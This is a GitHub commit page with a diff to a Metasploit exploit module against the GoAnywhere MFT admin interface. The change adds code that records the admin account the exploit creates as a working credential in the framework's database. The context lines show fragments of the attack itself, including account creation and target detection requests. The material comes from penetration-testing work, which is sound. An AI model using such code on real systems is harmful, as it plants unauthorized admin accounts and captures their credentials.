Skip to content

Commit

Permalink
store the credentials we create in the DB
Browse files Browse the repository at this point in the history
  • Loading branch information
sfewer-r7 committed Feb 1, 2024
1 parent 612feac commit b259c5d
Showing 1 changed file with 30 additions and 0 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report

def initialize(info = {})
super(
Expand Down Expand Up @@ -153,6 +154,8 @@ def exploit

print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")

store_credentials(admin_username, admin_password)

# Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.
if target.name == 'Automatic'
res = send_request_cgi(
Expand Down Expand Up @@ -347,4 +350,31 @@ def get_viewstate(endpoint)
vs_input['value']
end

def store_credentials(username, password)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'GoAnywhere MFT Admin Interface',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)

credential_core = create_credential(credential_data)

login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)

create_credential_login(login_data)
end
end

0 comments on commit b259c5d

Please sign in to comment.